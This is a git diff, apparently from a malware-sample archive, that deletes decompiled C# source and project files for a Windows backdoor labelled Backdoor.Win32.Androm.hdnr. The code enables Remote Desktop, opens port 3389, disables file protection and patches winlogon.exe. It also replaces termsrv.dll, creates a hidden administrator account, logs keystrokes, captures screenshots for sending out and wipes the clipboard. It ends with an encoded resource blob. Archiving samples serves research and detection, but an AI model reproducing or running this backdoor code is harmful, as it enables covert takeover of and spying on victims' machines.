- { - FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]); - try - { - Console.WriteLine(fileInfo.Name); - fileInfo.Delete(); - --index2; - } - catch - { - } - } - } - } - catch - { - } - } - - public static void RegConfig() - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true); - registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - - public static void RDP_M() - { - } - - public static void WinLogon() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - try - { - directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - try - { - directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - } - } - DirectoryEntry directoryEntry3; - try - { - directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - directoryEntry3.Close(); - directoryEntry1.Close(); - directoryEntry2.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - { - processArray[index].Kill(); - flag = false; - } - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - Thread[] threadArray = new Thread[31]; - for (int index = 1; index <= 3; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(10.0)); - string time = Program.TimeNow(); - new Program.ScreenShotDll().CaptureScreen("dd" + time + ".Jpeg", ImageFormat.Jpeg); - try - { - threadArray[index] = new Thread((ThreadStart) (() => - { - if (!Program.CherezShto("dd" + time + ".Jpeg", "False", "True", "Troi")) - ; - })); - threadArray[index].Start(); - } - catch - { - } - } - } - - private static bool buffDlin() - { - int length = "null".Length; - return true; - } - - private static bool buffZ() - { - Program.buflyb = (string) null; - int length = "null".Length; - return true; - } - - private static bool buffCritery() => Program.buffZ(); - - private static void strBuffer() - { - bool flag = true; - while (true) - { - do - { - IDataObject dataObject; - do - { - do - { - Application.DoEvents(); - Thread.Sleep(100); - } - while (!flag); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - } - while (!flag || !Program.buffCritery()); - Clipboard.SetDataObject((object) "null"); - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - this.SaveImageAs(compatibleBitmap, fileName, imageFormat); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - } - - public Bitmap CaptureScreen() - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - Bitmap image = this.GetImage(compatibleBitmap); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - return image; - } - - private void Cleanup(int hBitmap, int hdcSrc, int hdcDest) - { - Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc); - Program.GDI32.DeleteDC(hdcDest); - Program.GDI32.DeleteObject(hBitmap); - } - - private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat); - - private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height); - } - - private class User32 - { - [DllImport("User32.dll")] - public static extern int GetDesktopWindow(); - - [DllImport("User32.dll")] - public static extern int GetWindowDC(int hWnd); - - [DllImport("User32.dll")] - public static extern int ReleaseDC(int hWnd, int hDC); - } - - private class GDI32 - { - [DllImport("GDI32.dll")] - public static extern bool BitBlt( - int hdcDest, - int nXDest, - int nYDest, - int nWidth, - int nHeight, - int hdcSrc, - int nXSrc, - int nYSrc, - int dwRop); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteObject(int hObject); - - [DllImport("GDI32.dll")] - public static extern int GetDeviceCaps(int hdc, int nIndex); - - [DllImport("GDI32.dll")] - public static extern int SelectObject(int hdc, int hgdiobj); - } - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs deleted file mode 100644 index 3882f10e..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/AssemblyInfo.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: AssemblyCopyright("ORJ")] -[assembly: AssemblyDescription("OTE")] -[assembly: AssemblyCompany("wEi")] -[assembly: AssemblyFileVersion("4.2.5.7")] -[assembly: AssemblyProduct("JuL")] -[assembly: AssemblyTrademark("hLp")] -[assembly: SuppressIldasm] -[assembly: AssemblyTitle("UPP")] -[assembly: AssemblyVersion("5.4.2.6")] diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj deleted file mode 100644 index 310aac27..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {8BE63B67-4719-4BA5-AA00-154C5AEBBF53} - WinExe - mlw - 5.4.2.6 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln deleted file mode 100644 index 39d61fcd..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Backdoor.Win32.Androm.hdnr.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "mlw", "Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.csproj", "{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx deleted file mode 100644 index 60d17a37..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/Wjtc.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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